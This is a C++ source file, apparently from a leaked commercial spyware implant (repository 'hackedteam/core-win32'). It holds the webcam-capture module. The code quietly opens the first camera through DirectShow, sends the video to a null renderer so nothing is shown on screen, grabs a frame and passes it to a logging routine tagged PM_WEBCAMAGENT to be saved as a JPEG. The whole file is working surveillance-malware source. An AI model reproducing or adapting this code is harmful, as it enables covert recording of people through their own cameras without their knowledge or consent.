hackedteam/core-win32

View on GitHub
wcam_grab.cpp

Summary

Maintainability
Test Coverage
#include <dshow.h>
#include "Qedit.h"
#include "common.h"
#include "LOG.h"

#define CAM_COMPLETION_WAIT 1000 //Numero di millisecondi per ricevere il primo frame

#define CHECK_RESULT(x) if (!x) break;
#define CHECK_HRESULT(x) if( FAILED(x) ) break;
#define SAFE_RELEASE(x) if (x) {x->Release(); x=NULL;}

// Definita in BitmapCommon
extern void BmpToJpgLog(DWORD agent_tag, BYTE *additional_header, DWORD additional_len, BITMAPINFOHEADER *pBMI, size_t cbBMI, BYTE *pData, size_t cbData, DWORD quality);

void FreeMediaType(AM_MEDIA_TYPE& mt)
{
    if (mt.cbFormat != 0) {
        CoTaskMemFree((PVOID)mt.pbFormat);
        mt.cbFormat = 0;
        mt.pbFormat = NULL;
    }
    if (mt.pUnk != NULL) {
        // pUnk should not be used.
        mt.pUnk->Release();
        mt.pUnk = NULL;
    }
}

void DeleteMediaType(AM_MEDIA_TYPE *pmt)
{
    if (pmt != NULL) {
        FreeMediaType(*pmt); 
        CoTaskMemFree(pmt);
    }
}

// Scrive l'immagine
void WriteCamBitmap(BITMAPINFOHEADER *pBMI, size_t cbBMI, BYTE *pData, size_t cbData, DWORD quality)
{
    BmpToJpgLog(PM_WEBCAMAGENT, NULL, 0, pBMI, cbBMI, pData, cbData, quality);
}

void GetDefaultCapDevice(IBaseFilter **ppCap)
{
    HRESULT hr;
    ICreateDevEnum    *pCreateDevEnum = NULL;
    IEnumMoniker    *pEm = NULL;

    do {
        *ppCap = NULL;

        // Create an enumerator
        hr = CoCreateInstance(    CLSID_SystemDeviceEnum,
                                NULL,
                                CLSCTX_INPROC_SERVER,
                                IID_ICreateDevEnum,
                                (LPVOID *)&pCreateDevEnum);
        CHECK_HRESULT(hr);
        
        // Enumerate video capture devices
        hr = pCreateDevEnum->CreateClassEnumerator(CLSID_VideoInputDeviceCategory, &pEm, 0);
        if (hr != S_OK)
            break;
        pEm->Reset();

        // Go through and find first capture device
        //
        while(true) {
            ULONG ulFetched = 0;
            IMoniker *pM;

            pM = NULL;
            hr = pEm->Next(1, &pM, &ulFetched);
            if(hr != S_OK)
                break;

            // Ask for the actual filter
            hr = pM->BindToObject(0,0,IID_IBaseFilter, (void **)ppCap);
            SAFE_RELEASE(pM);
            if(*ppCap)
                break;
        }
    } while (0);

    SAFE_RELEASE(pCreateDevEnum);
    SAFE_RELEASE(pEm);
}

void CameraGrab(DWORD quality)
{
    HRESULT hr;
    long evCode;
    long cbBuffer;
    AM_MEDIA_TYPE mt; 

    BYTE                    *pBuffer = NULL;
    ICaptureGraphBuilder2    *pCaptureGraphBuilder = NULL;
    IGraphBuilder            *pGraph = NULL;
    IMediaControl            *pMediaControl = NULL;
    IBaseFilter                *pVideoCapture = NULL;
    IBaseFilter                *pImageSinkBase = NULL;
    IBaseFilter                *pGrabberF = NULL;
    ISampleGrabber            *pGrabber = NULL;
    IBaseFilter                *pNullF = NULL;
    IMediaEventEx            *pEvent = NULL;
    IEnumPins                *pEnum = NULL;
    IPin                    *pPin = NULL;

    CoInitialize(NULL);
    do {
        // crea il filtergraph manager
        hr = CoCreateInstance(    CLSID_FilterGraph,
                                NULL,
                                CLSCTX_INPROC_SERVER,
                                IID_IGraphBuilder,
                                (LPVOID *)&pGraph);
        CHECK_HRESULT(hr);

        // crea il capture graph builder
        hr = CoCreateInstance(    CLSID_CaptureGraphBuilder2,
                                NULL,
                                CLSCTX_INPROC_SERVER,
                                IID_ICaptureGraphBuilder2,
                                (LPVOID *)&pCaptureGraphBuilder );
        CHECK_HRESULT(hr);

        // seleziona il filtergraph da usare
        hr = pCaptureGraphBuilder->SetFiltergraph(pGraph);
        CHECK_HRESULT(hr);

        // Media Control
        hr = pGraph->QueryInterface(IID_PPV_ARGS(&pMediaControl));
        CHECK_HRESULT(hr);
        hr = pGraph->QueryInterface(IID_PPV_ARGS(&pEvent));
        CHECK_HRESULT(hr);

        // Aggiunge il device di cattura al grafo
        GetDefaultCapDevice(&pVideoCapture);
        CHECK_RESULT(pVideoCapture);
        hr = pVideoCapture->EnumPins(&pEnum);
        CHECK_HRESULT(hr);
        while (pEnum->Next(1, &pPin, NULL) == S_OK) {
            PIN_DIRECTION pindir = (PIN_DIRECTION)3;
            pPin->QueryDirection(&pindir);
            if (pindir != PINDIR_OUTPUT) {
                SAFE_RELEASE(pPin);
                continue;
            }
            break;
        }
        CHECK_RESULT(pPin);

        hr = pGraph->AddFilter(pVideoCapture, L"Video Capture Source");
        CHECK_HRESULT(hr);

        // Crea il Sample Grabber filter.
        hr = CoCreateInstance(    CLSID_SampleGrabber, 
                                NULL, 
                                CLSCTX_INPROC_SERVER,
                                IID_PPV_ARGS(&pGrabber));
        CHECK_HRESULT(hr);
        hr = pGrabber->QueryInterface(IID_PPV_ARGS(&pGrabberF));
        CHECK_HRESULT(hr);
        hr = pGraph->AddFilter(pGrabberF, L"Sample Grabber");
        CHECK_HRESULT(hr);

        ZeroMemory(&mt, sizeof(mt));
        mt.majortype = MEDIATYPE_Video;
        mt.subtype = MEDIASUBTYPE_RGB24;
        hr = pGrabber->SetMediaType(&mt);
        FreeMediaType(mt);
        CHECK_HRESULT(hr);

        // Aggiunge il filtro nullo
        hr = CoCreateInstance(    CLSID_NullRenderer, 
                                NULL, 
                                CLSCTX_INPROC_SERVER, 
                                IID_PPV_ARGS(&pNullF));
        CHECK_HRESULT(hr);
        hr = pGraph->AddFilter(pNullF, L"Null Filter");
        CHECK_HRESULT(hr);

        hr = pCaptureGraphBuilder->RenderStream(NULL, 
                                                NULL, 
                                                pPin,
                                                pGrabberF,
                                                pNullF);
        CHECK_HRESULT(hr);

        hr = pGrabber->SetBufferSamples(TRUE);
        CHECK_HRESULT(hr);

        hr = pMediaControl->Run();
        CHECK_HRESULT(hr);
        
        hr = pEvent->WaitForCompletion(CAM_COMPLETION_WAIT, &evCode);
        Sleep(CAM_COMPLETION_WAIT);
        hr = pMediaControl->Stop();
        CHECK_HRESULT(hr);

        // Alloca il buffer per l'immagine
        hr = pGrabber->GetCurrentBuffer(&cbBuffer, NULL);
        pBuffer = (BYTE*)CoTaskMemAlloc(cbBuffer);
        CHECK_RESULT(pBuffer);
        hr = pGrabber->GetCurrentBuffer(&cbBuffer, (long*)pBuffer);
        CHECK_HRESULT(hr);

        hr = pGrabber->GetConnectedMediaType(&mt);
        CHECK_HRESULT(hr);

        // Examine the format block.
        if ((mt.formattype == FORMAT_VideoInfo) && 
            (mt.cbFormat >= sizeof(VIDEOINFOHEADER)) &&
            (mt.pbFormat != NULL)) {
            VIDEOINFOHEADER *pVih = (VIDEOINFOHEADER*)mt.pbFormat;
            WriteCamBitmap(&pVih->bmiHeader, mt.cbFormat - SIZE_PREHEADER, pBuffer, cbBuffer, quality);
        }
        FreeMediaType(mt);

    } while(0);
    if (pBuffer)
        CoTaskMemFree(pBuffer);
    SAFE_RELEASE(pCaptureGraphBuilder);
    SAFE_RELEASE(pGraph);
    SAFE_RELEASE(pEnum);
    SAFE_RELEASE(pPin);
    SAFE_RELEASE(pMediaControl);
    SAFE_RELEASE(pVideoCapture);
    SAFE_RELEASE(pImageSinkBase);
    SAFE_RELEASE(pGrabberF);
    SAFE_RELEASE(pGrabber);
    SAFE_RELEASE(pNullF);
    SAFE_RELEASE(pEvent);

    CoUninitialize();
}